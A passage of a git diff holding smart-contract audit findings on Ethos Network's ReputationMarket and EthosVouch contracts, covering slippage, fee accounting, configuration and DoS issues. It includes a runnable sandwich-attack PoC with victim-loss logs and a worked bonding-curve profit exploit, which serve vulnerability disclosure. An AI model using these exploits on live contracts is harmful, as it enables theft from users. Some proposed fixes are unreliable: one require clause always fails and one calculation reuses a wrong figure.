step-by-step mitigation strategy: +**(The same as the `calcFee` function of `EthosVouch` contract.)** + +1. **Update calculation logic of `fundsAvailable`:** + ```solidity + fundsAvailable = funds * BASIS_POINTS_BASE / (BASIS_POINTS_BASE + entryProtocolFeeBasisPoints + donationBasisPoints) + ``` +2. **After the loop, calculate the final `protocolFee` and `donation` for the total `fundsPaid`**: + ```solidity + (protocolFee, donation) = previewFees(fundsPaid, true); + fundsPaid += protocolFee + donation; + ``` + diff --git a/013.md b/013.md new file mode 100644 index 0000000..23194d1 --- /dev/null +++ b/013.md @@ -0,0 +1,63 @@ +Colossal Chiffon Urchin + +Medium + +# Users are exposed to price volatility without protection in sellVotes + +### Summary + +The `sellVotes` function does not include any slippage checks, unlike the buyVotes function. Users could receive significantly less ETH than expected due to price slippage during the transaction. + +### Root Cause + +no slippage protection like in buyVotes +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + +``` +[ReputationMarket.sol#L495](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users are exposed to price volatility without protection, which could lead to unexpected losses. + +### PoC + +_No response_ + +### Mitigation + +Introduce slippage parameters to the sellVotes function, allowing users to specify the minimum acceptable funds to receive. This protects users from adverse price movements during the transaction. + +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount, + uint256 minExpectedFunds, + uint256 slippageBasisPoints +) public whenNotPaused activeMarket(profileId) nonReentrant { + // Existing code... + + // Slippage check + _checkSlippageLimit(fundsReceived, minExpectedFunds, slippageBasisPoints); + + // Existing code... +} +``` \ No newline at end of file diff --git a/014.md b/014.md new file mode 100644 index 0000000..f96b137 --- /dev/null +++ b/014.md @@ -0,0 +1,83 @@ +Colossal Chiffon Urchin + +High + +# Market creator will not be able to withdraw his liquidity + +### Summary + +Inclusion of Protocol Fees and Donations in marketFunds. +Funds in: fundsPaid +Funds distribute: fundsPaid + protocolFee + donation + +### Root Cause + +The marketFunds variable is intended to track the funds invested in the market. However, in the buyVotes function, marketFunds is incremented by fundsPaid, which includes both the funds used to buy votes and the protocol fees and donations. This inconsistency leads to marketFunds inaccurately representing the actual funds invested in the market. + +```solidity + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, +--> uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); +... + // tally market funds +--> marketFunds[profileId] += fundsPaid; +``` +[ReputationMarket.sol#L481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) + +```solidity + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +--> fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` +Later `marketFunds` can be withdraw in `withdrawGraduatedMarketFunds` which means that donation fees will be withdrawn by market owner as well due to incorrect accounting + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +donation fees will be lost + +### PoC + +_No response_ + +### Mitigation + +For all these function I think it suppose to be like this +```diff + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; +``` diff --git a/015.md b/015.md new file mode 100644 index 0000000..a88e5bb --- /dev/null +++ b/015.md @@ -0,0 +1,59 @@ +Tricky Sage Stallion + +Medium + +# `DEFAULT_PRICE` is 10 times larger than intended, causing higher initial liquidity and prices + +### Summary + +The [`DEFAULT_PRICE`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L79) constant is incorrectly set to `0.01 ether`, which is 10 times larger than the intended value of `0.001 ether`. This results in the [`initialLiquidity`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L219-L254) for the first market configuration being set to `0.02 ether` instead of the intended `0.002 ETH`, leading to inflated initial market prices and liquidity. The other market configurations have the same issue. + + +### Root Cause + +The `DEFAULT_PRICE` is used to calculate the `initialLiquidity` and other market parameters. + +For example, according to the comments, the intended `initialLiquidity` for the first market configuration is `0.002 ETH`. However, due to the incorrect `DEFAULT_PRICE`, the actual `initialLiquidity` becomes: `initialLiquidity = 2 * DEFAULT_PRICE = 2 * 0.01 ether = 0.02 ether`: + +```solidity +79:> uint256 public constant DEFAULT_PRICE = 0.01 ether; +... +219: // Default tier +220: // - Minimum viable liquidity for small/new markets +221:> // - 0.002 ETH initial liquidity +222: // - 1 vote each for trust/distrust (volatile price at low volume) +223: marketConfigs.push( +224: MarketConfig({ +225:> initialLiquidity: 2 * DEFAULT_PRICE, +226: initialVotes: 1, +227: basePrice: DEFAULT_PRICE +228: }) +229: ); +... +``` + + + +### Internal pre-conditions + +The comments, for example, "0.002 ETH initial liquidity", is intended requirement. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This misconfiguration leads to markets being initialized with larger than expected prices. + +### PoC + +_No response_ + +### Mitigation + +Update the `DEFAULT_PRICE` to the intended value of `0.001 ether` to align with the documented "0.002 ETH initial liquidity" in the market configuration. \ No newline at end of file diff --git a/016.md b/016.md new file mode 100644 index 0000000..cf45cbd --- /dev/null +++ b/016.md @@ -0,0 +1,68 @@ +Colossal Chiffon Urchin + +Medium + +# Creates a new reputation market for a profile using a specific market configuration will be created for incorrect market + +### Summary + +_createMarket input based of marketConfigIndex which will be changed one day in removeMarketConfig + +### Root Cause + +E.x. user decied to invest in Deluxe tier which initially has index = 1 +```solidity + marketConfigs.push( + MarketConfig({ + initialLiquidity: 50 * DEFAULT_PRICE, + initialVotes: 1000, + basePrice: DEFAULT_PRICE + }) + ); +``` +[ReputationMarket.sol#L235](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L235) + +Later admin decied to remove delux in favor of another market in `removeMarketConfig` +now market with index =1 will be `Premium` which means user would invest in another market, which is misleading and a loss to user + +### Internal pre-conditions + +Whenever admin decides to remove market and user create market + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Protocol Mislead users to invest in different market with providing more liquidity than user want to. Its impossible to withdraw liquidity in current system until graduation. +If create market and remove market happens in the same block, 100% probability to invest in incorrect market + +### PoC + +_No response_ + +### Mitigation + +_createMarket should change input from index to name of the market to not mislead users +```diff + struct MarketConfig { + uint256 initialLiquidity; + uint256 initialVotes; + uint256 basePrice; ++ string name; + } +``` +```diff + function _createMarket( + uint256 profileId, + address recipient, +- uint256 marketConfigIndex ++ string marketName + ) private nonReentrant { + +``` \ No newline at end of file diff --git a/017.md b/017.md new file mode 100644 index 0000000..6ec5735 --- /dev/null +++ b/017.md @@ -0,0 +1,152 @@ +Teeny Smoke Grasshopper + +High + +# In `ReputationMarket`, sellers are vulnerable to a sandwich attack + +### Summary + +The missing slippage protection in `ReputationMarket#sellVotes` will make sellers vulnerable to a sandwich attack. + +### Root Cause + +The slippage protection is implemented in `buyVotes` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 + +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, +>> uint256 expectedVotes, +>> uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { +``` + +But in `sellVotes`, the slippage protection is missing + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker buys votes in the opposite direction of the victim. +2. The victim sells votes. +3. The attacker sells votes in the opposite direction of the victim. + +### Impact + +The sellers in `ReputationMarket` are vulnerable to a sandwich attack. Loss of funds. + +### PoC + +1. Create `PoC.test.ts` in `test/reputationMarket` +2. Run `NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test test/reputationMarket/PoC.test.ts` + +`PoC.test.ts`: + +```solidity +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { use } from 'chai'; +import chaiAsPromised from 'chai-as-promised'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { type EthosUser } from '../utils/ethosUser.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { DEFAULT, MarketUser } from './utils.js'; + +/* eslint-disable react-hooks/rules-of-hooks */ +use(chaiAsPromised as Chai.ChaiPlugin); + +describe('PoC', () => { + let deployer: EthosDeployer; + let marketUser : EthosUser, ethosVictim: EthosUser, ethosAttacker : EthosUser; + let victim: MarketUser; + let attacker: MarketUser; + let reputationMarket: ReputationMarket; + + let victimTotalVotes: bigint = 10n; + let victimBalanceBefore: bigint; + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + [marketUser, ethosVictim, ethosAttacker] = await Promise.all([ + deployer.createUser(), + deployer.createUser(), + deployer.createUser(), + ]); + await Promise.all([ethosVictim.setBalance('2000'), ethosAttacker.setBalance('2000')]); + + victim = new MarketUser(ethosVictim.signer); + attacker = new MarketUser(ethosAttacker.signer); + + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = marketUser.profileId; + + await reputationMarket + .connect(deployer.ADMIN) + .createMarketWithConfigAdmin(marketUser.signer.address, 0, { + value: DEFAULT.initialLiquidity, + }); + + for (let i = 0; i < victimTotalVotes; i++) { + await victim.buyOneVote({ profileId: DEFAULT.profileId, isPositive: true}); + } + + victimBalanceBefore = await ethosVictim.getBalance(); + }); + + it('Without sandwich attack', async () => { + await victim.sellVotes({ profileId: DEFAULT.profileId, isPositive: true, sellVotes: victimTotalVotes}); + console.log("Total received: ", await ethosVictim.getBalance() - victimBalanceBefore); + }) + + it('With sandwich attack', async () => { + let attackerTotalVotes:bigint = 15n; + + for (let i = 0; i < attackerTotalVotes; i++) { + await attacker.buyOneVote({ profileId: DEFAULT.profileId, isPositive: false }); + } + + await victim.sellVotes({ profileId: DEFAULT.profileId, isPositive: true, sellVotes: victimTotalVotes}); + + await attacker.sellVotes({ profileId: DEFAULT.profileId, isPositive: false, sellVotes: attackerTotalVotes}); + + console.log("Total received: ", await ethosVictim.getBalance() - victimBalanceBefore); + }) +}); +``` + +Logs + +```bash +Without sandwich attack +Total received: 79665279363732660n +With sandwich attack +Total received: 24074290343831753n +``` + +There is a big difference in the amount of ETH that the victim will receive in case the attacker performs the sandwich attack. + +### Mitigation + +Implement slippage protection in `sellVotes`. \ No newline at end of file diff --git a/018.md b/018.md new file mode 100644 index 0000000..59a7b17 --- /dev/null +++ b/018.md @@ -0,0 +1,111 @@ +Colossal Chiffon Urchin + +Medium + +# updateDonationRecipient can be ddosed + +### Summary + +updateDonationRecipient requires that newRecipient address doesn't have any rewards, but some users can add reward to it. + +### Root Cause +updateDonationRecipient requires empty donationRecipient +```solidity + function updateDonationRecipient(uint256 profileId, address newRecipient) public whenNotPaused { + if (newRecipient == address(0)) revert ZeroAddress(); + + // if the new donation recipient has a balance, do not allow overwriting + // this is so rare, do we really need a custom error? +--> require(donationEscrow[newRecipient] == 0, "Donation recipient has balance"); + + // Ensure the sender is the current donation recipient + if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId(); + + // Ensure the new recipient has the same Ethos profileId + uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); + if (recipientProfileId != profileId) revert InvalidProfileId(); + + // Update the donation recipient reference + donationRecipient[profileId] = newRecipient; + // Swap the current donation balance to the new recipient + donationEscrow[newRecipient] += donationEscrow[msg.sender]; + donationEscrow[msg.sender] = 0; + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); + } +``` +but donationRecipient can be set arbitrary by anyone who can create market +```solidity + function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { +... + donationRecipient[profileId] = recipient; +... +``` +[contracts/ReputationMarket.sol#L341](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L341) + +and ddos it by buying 1 vote and sending fees to that address reward + +```solidity + function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { +-> donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } +``` +[ReputationMarket.sol#L1121](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1121) + +user can withdraw it with `withdrawDonations` to make 0 but attacker can do the same again +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +attacker sees that updateDonationRecipient called and buys 1 vote -> ddoes `updateDonationRecipient` +### Impact + +updateDonationRecipient will be ddosed which lead to users will not be able to receive funds in case of emergency +### PoC + +_No response_ + +### Mitigation + +```diff + function updateDonationRecipient(uint256 profileId, address newRecipient) public whenNotPaused { + if (newRecipient == address(0)) revert ZeroAddress(); + + // if the new donation recipient has a balance, do not allow overwriting + // this is so rare, do we really need a custom error? +- require(donationEscrow[newRecipient] == 0, "Donation recipient has balance"); ++ require(newRecipient != newRecipient, "Donation recipient has balance"); // @audit avoid doubling on the same address below attack + + // Ensure the sender is the current donation recipient + if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId(); + + // Ensure the new recipient has the same Ethos profileId + uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); + if (recipientProfileId != profileId) revert InvalidProfileId(); + + // Update the donation recipient reference + donationRecipient[profileId] = newRecipient; + // Swap the current donation balance to the new recipient + donationEscrow[newRecipient] += donationEscrow[msg.sender]; + donationEscrow[msg.sender] = 0; + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); + } +``` \ No newline at end of file diff --git a/019.md b/019.md new file mode 100644 index 0000000..2831829 --- /dev/null +++ b/019.md @@ -0,0 +1,139 @@ +Recumbent Shamrock Barracuda + +High + +# Attacker can gain a advantage by manipulating the order in which votes are bought and sold. + +### Summary + +The current implementation of the voting market allows an attacker to profit by alternately buying TRUST and DISTRUST votes one at a time and then selling them in bulk. The vulnerability is due to the way _calcVotePrice recalculates the vote price during each transaction. Since the bonding curve mechanism redistributes the price based on the relative number of votes, an attacker can exploit the price difference by manipulating the market state. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920 + +### **Root Cause** + +The root cause of the vulnerability lies in the design of the bonding curve mechanism and the lack of safeguards against rapid alternation between buying and selling votes. Specifically: + +1. **Bonding Curve Behavior**: + - The `_calcVotePrice` function calculates vote prices dynamically based on the relative count of `TRUST` and `DISTRUST` votes using the bonding curve formula: + ```solidity + price = (votes * basePrice) / totalVotes; + ``` + - Each purchase or sale affects the price of both vote types (`TRUST` and `DISTRUST`), creating opportunities for manipulation by alternately buying and selling to exploit the shifting price. + +2. **No Restriction on Alternating Trades**: + - The protocol does not impose restrictions on alternating between `TRUST` and `DISTRUST` trades. This allows an attacker to execute rapid trades in a specific pattern to exploit the price differential caused by their actions. + +3. **Bulk Sale Vulnerability**: + - Selling votes in bulk does not fully reflect the incremental price reduction that should occur during the sale process. Instead, the system overvalues the votes being sold, leading to excessive profits for the attacker. + +By leveraging these design gaps, an attacker can systematically exploit the protocol to extract profits while depleting protocol funds. + +### Impact + +- Profit extraction: An attacker can extract profits by alternately buying and selling votes at manipulated price points. +- Funding depletion: Repeated exploitation can deplete the protocol’s funds. + +### Attack Path +- Assume that `initialVotes` are like this: + market.votes[TRUST] = 1 + market.votes[DISTRUST] = 1 +- Attacker buys votes as follows: + 1 TRUST, 1 DISTRUST, 1 TRUST, 1 DISTRUST ... =>(1 TRUST, 1 DISTRUST) * 10 +- Attacker sells votes as follows: + 10 TRUST, 10 DISTRUST +- The funds the attacker receives by selling are greater than the funds spent by buying and the buying fee and selling fee. + +In the example, the number of initial vote was set to 1 according to test code, but this attack is possible in any case. + +### PoC +- Assume that `initialVotes` and `market.basePrice` are like this: + market.votes[TRUST] = 1 + market.votes[DISTRUST] = 1 + market.basePrice = 10000 (For convenience of calculation) +- Set all feeBasePoints at max: + entryProtocolFeeBasisPoints=500 + exitProtocolFeeBasisPoints=500 + donationBasisPoints=500 +- Total funds for buying with attack path: + +1. buy 1 TRUST: (Since a 10% fee is taken from the funds at first to buy votes, the total funds required is equal to the vote value divided by 0.9.) + votePrice = (1 * 10000) / 2 = 5000 + totalFund = votePrice + protocolFee + donation = 5000 / 0.9 = 5556 + As result, TRUST=2, DISTRUST=1; +2. buy 1 DISTRUST: + votePrice = (1 * 10000) / 3 = 3334 + totalFund = 3334 / 0.9 = 3705 + As result, TRUST=2, DISTRUST=2; +3. buy 1 TRUST: + votePrice = (2 * 10000) / 4 = 5000 + totalFund = 5000 / 0.9 = 5556 + As result, TRUST=3, DISTRUST=2; +4. buy 1 DISTRUST: + votePrice = (2 * 10000) / 5 = 4000 + totalFund = 5000 / 0.9 = 4445 + As result, TRUST=3, DISTRUST=3; +... +**Total Funds = (1 * 10000) / 2 / 0.9 + (1 * 10000) / 3 / 0.9 + (2 * 10000) / 4 / 0.9 + (2 * 10000) / 5 / 0.9 + ... + (10 * 10000) / 20 / 0.9 + (10 * 10000) / 21 / 0.9 = 104541** + +- Total funds from selling with attack path: +1. sell 10 TRUST: (After the votePrice is calculated, a 5% fee is charged, so the funds you receive are equal to the vote value multiplied by 0.95.) + votePrice = (10 * 10000) / 21 + (9 * 10000) / 20 + ... (1 * 10000) / 12 = 31192 + totalFund = votePrice - protocolFee = 31192 * 0.95 = 29632 + As result, TRUST= 1, DISTRUST=11; +2. sell 10 DISTRUST: + votePrice = (10 * 10000) / 11 + (9 * 10000) / 10 + ... (1 * 10000) / 2 = 79798 + totalFund = 79798 * 0.95 = 75808 + As result, TRUST= 1, DISTRUST=1; +**Total Funds = 29632 + 75808 = 105440** +- Even though the number of votes before and after the purchase is the same, the attacker gains and the protocol loses from the difference between the funds spent on the purchase and the funds received upon the purchase(Users only need to have enough funds to buy votes). + diff = 105440 - 104541 = 899 +**Attacker can make a profit of around 9% by conducting a single attack with funds of around 10.5 times the `market.basePrice`.** + +**Attacker can attack with less funds by buying and selling as follows:** +> 1=TRUST vote, 0=DISTRUST vote +> (1, 1) => (4, 7) + +buy: 0, 1, 0, 1, 0, 1, 0 * 3 => totalFund = `[(1 * 10000) / 2 / 0.9 + (1 * 10000) / 3 / 0.9 + (2 * 10000) / 4 / 0.9 + (2 * 10000) / 5 / 0.9 + (3 * 10000) / 6 / 0.9 + (3 * 10000) / 7 / 0.9]` + `[(4 * 10000) / 8 + (5 * 10000) / 9 + (6 * 10000) / 10] / 0.9` = `47,967` +sell: 1 * 3, 0 * 6 => totalFund = `[(3 * 10000) / 10 + (2 * 10000) / 9 + (1 * 10000) / 8] * 0.95` + `[(6 * 10000) / 7 + (5 * 10000) / 6 + (4 * 10000) / 5 + (3 * 10000) / 4 + (2 * 10000) / 3 + (1 * 10000) / 2] * 0.95` = `48,014` +diff = `48,014 - 47,967 = 47` +**Attacker can make a profit of around 0.5% by conducting a single attack with funds of around 4.8 times the `market.basePrice`.** + +> If the `initialVote` is 2, attacker can attack like this: +> (2, 2) => (9, 16) +> buy: (0, 1) * 7, 0 * 7 +> sell: 1 * 7, 0 * 14 +> **Attacker can make a profit of around 0.8% by conducting a single attack with funds of around 11.8 times the `market.basePrice`.** + +> If the `initialVote` is 5, attacker can attack like this: +> (5, 5) => (25, 45) +> buy: (0, 1) * 20, 0 * 20 +> sell: 1 * 20, 0 * 40 +> **Attacker can make a profit of around 5.1% by conducting a single attack with funds of around 32.8 times the `market.basePrice`.** + +**The larger the `initialVote`, the more votes need to be purchased for an attack, but with enough initial funds for that, it is possible to steal all the protocol's funds by repeating the attack multiple times.** +**The attack is possible even if the number of TRUST and DISTRUST votes is an any value different from the `initialVote`** +> (2, 4) => (7, 15) +> buy: 1 * 2, (0, 1) * 3, 0 * 8 +> sell: 1 * 5, 0 * 11 +> **Attacker can make a profit of around 4.8% by conducting a single attack with funds of around 9.3 times the `market.basePrice`.** + +### Mitigation + +- Changes the pricing logic when selling votes.: +The selling price is calculated based on the state at the time the vote is sold (i.e. 1 is deducted). +```solidity +function _calculateSell() { + ... +--- market.votes[isPositive ? TRUST : DISTRUST] -= 1; +--- votePrice = _calcVotePrice(market, isPositive); ++++ votePrice = _calcVotePriceForSelling(market, isPositive); ++++ market.votes[isPositive ? TRUST : DISTRUST] -= 1; + ... +} +function _calcVotePriceForSelling(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return ((market.votes[isPositive ? TRUST : DISTRUST] - 1) * (market.basePrice)) / totalVotes; + } +``` +- Charge Fees on Both Buy and Sell: +Apply a higher fee for frequent trading to discourage exploitation \ No newline at end of file diff --git a/020.md b/020.md new file mode 100644 index 0000000..964ef75 --- /dev/null +++ b/020.md @@ -0,0 +1,82 @@ +Colossal Chiffon Urchin + +High + +# Incorrect accounting in sellVotes + +### Summary + +Inclusion of Protocol Fees and Donations in marketFunds in sellVotes +Funds change: fundsReceived +Funds distribute: fundsReceived + protocolFee + +### Root Cause + +The marketFunds variable is intended to track the funds invested in the market. However, in the sellVotes function, marketFunds is decremented by fundsReceived, which doesn't include protocol fees. This inconsistency leads to marketFunds inaccurately representing the actual funds invested in the market. + +```solidity + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } +--> (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` +[ReputationMarket.sol#L1041](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041) + +```solidity + function previewFees( + uint256 amount, + bool isEntry + ) private view returns (uint256 funds, uint256 protocolFee, uint256 donation) { + if (isEntry) { + protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; + } else { + protocolFee = (amount * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + } +--> funds = amount - protocolFee - donation; + } +``` +Protocol fees are withdrawn immidiately this means that market creator will not be able to withdraw his funds later in `withdrawGraduatedMarketFunds` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Incorrect accounting leading to market creator will not be able to withdraw his funds + +### PoC + +_No response_ + +### Mitigation + +I think it suppose to be like this +Funds change: fundsReceived +Funds distribute: fundsReceived +```diff + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= (fundsReceived + protocolFee); + +``` diff --git a/021.md b/021.md new file mode 100644 index 0000000..1261770 --- /dev/null +++ b/021.md @@ -0,0 +1,53 @@ +Overt Alabaster Cottonmouth + +Medium + +# Any reduction in `unhealthyResponsePeriod` via call to `updateUnhealthyResponsePeriod()` should not affect existing eligible users waiting to exercise `markUnhealthy()` + +## Description & Impact +Admin can call [updateUnhealthyResponsePeriod()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L659) and update `unhealthyResponsePeriod`, effectively reducing it from 24 hours to say, 20 hours. +Any existing author who had called `unvouch()` for example 22 hours earlier (and hence had another 2 hours in their kitty) will immediately lose the capability to call [markUnhealthy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L496). + +## Proof of Concept +We will modify [an existing test](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/EthosVouch.test.ts#L836) and see it pass when run via `npm run hardhat -- test --grep "Should revert if CannotMarkVouchAsUnhealthy"`: +```diff +diff --git a/ethos/packages/contracts/test/EthosVouch.test.ts b/ethos/packages/contracts/test/EthosVouch.test.ts +index be4d7f1..90101cd 100644 +--- a/ethos/packages/contracts/test/EthosVouch.test.ts ++++ b/ethos/packages/contracts/test/EthosVouch.test.ts +@@ -831,13 +831,13 @@ describe('EthosVouch', () => { + await expect(ethosVouch.connect(VOUCHER_0).markUnhealthy(11)) + .to.be.revertedWithCustomError(ethosVouch, 'VouchNotFound') + .withArgs(11); + }); + + it('Should revert if CannotMarkVouchAsUnhealthy, unhealthyResponsePeriod has passed', async () => { +- const { ethosVouch, VOUCHER_0, PROFILE_CREATOR_0, ethosProfile, OWNER } = ++ const { ethosVouch, ADMIN, VOUCHER_0, PROFILE_CREATOR_0, ethosProfile, OWNER } = + await loadFixture(deployFixture); + + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); +@@ -849,13 +849,14 @@ describe('EthosVouch', () => { + }); + + await ethosVouch.connect(VOUCHER_0).unvouch(0); + + await time.increase(100); + +- await time.increase(await ethosVouch.unhealthyResponsePeriod()); ++ await time.increase(time.duration.hours(23)); ++ await ethosVouch.connect(ADMIN).updateUnhealthyResponsePeriod(time.duration.hours(22)); + + await expect(ethosVouch.connect(VOUCHER_0).markUnhealthy(0)) + .to.be.revertedWithCustomError(ethosVouch, 'CannotMarkVouchAsUnhealthy') + .withArgs(0); + }); + + +``` + +## Mitigation +When any author calls `unvouch()`, their deadline for calling `markUnhealthy()` can be calculated & stored right away and used for verification later on. \ No newline at end of file diff --git a/022.md b/022.md new file mode 100644 index 0000000..bec3f01 --- /dev/null +++ b/022.md @@ -0,0 +1,42 @@ +Kind White Buffalo + +Medium + +# Users pay higher fees than intended when buying votes + +### Summary + +When users buy votes the fees they have to pay are calculated inaccurately causing them to pay more than they should. + +### Root Cause + +In ReputationMarket. _calculateBuy:960 [previewFees](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L960) is called on all of the `msg.value` sent by the user. This is wrong as the funds the caller has to pay are likely to be lower than all of the funds they sent, which is why any leftover ETH is sent back to the caller. + +For example, a user sends 10 ETH and has to pay 10% in fees = 1 ETH. The fees are reduced from the 10 ETH, and 9 ETH is used to buy votes. However, only 8 ETH is spent, and 1 ETH is paid back to the caller. Now, even though, 1 ETH was not used to buy votes, the user still had to pay 0.1 ETH of fees for that 1 ETH. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User buys votes with 10 ETH +2. 10% of fees are taken away from the 10 ETH +3. 9 ETH is used to buy votes, however, only 8 ETH is spent, as the price of a vote has become more than 1 ETH +4. 1 ETH is paid back to the caller, however, they still have to pay 0.1 ETH in fees + +### Impact + +Users that buy votes pay higher fees than intended. + +### PoC + +_No response_ + +### Mitigation + +Do not charge extra fees on ETH that is paid back to the votes buyer. \ No newline at end of file diff --git a/023.md b/023.md new file mode 100644 index 0000000..b855b97 --- /dev/null +++ b/023.md @@ -0,0 +1,70 @@ +Slow Tan Swallow + +Medium + +# Wrong max feee + +### Summary + +The README clearly states that the max fee should be no more than 10% + +> For both contracts: +> - Maximum total fees cannot exceed 10% + + +However that is not true for EthosVouch as the max allowed fee there is 100% + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +```solidity +uint256 public constant MAX_TOTAL_FEES = 10000; + + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +Even though this can be considered admin issue, we should not forget that the README must be followed strictly, and since this issue breaks one of it's core designs it can be considered Medium. + +### Root Cause + +Wrong total fee + +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Fee can be set to 100% +README is violated + +### PoC + +_No response_ + +### Mitigation + +Fix it by removing 0, thus reducing the max fee from 100% to 10% +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant 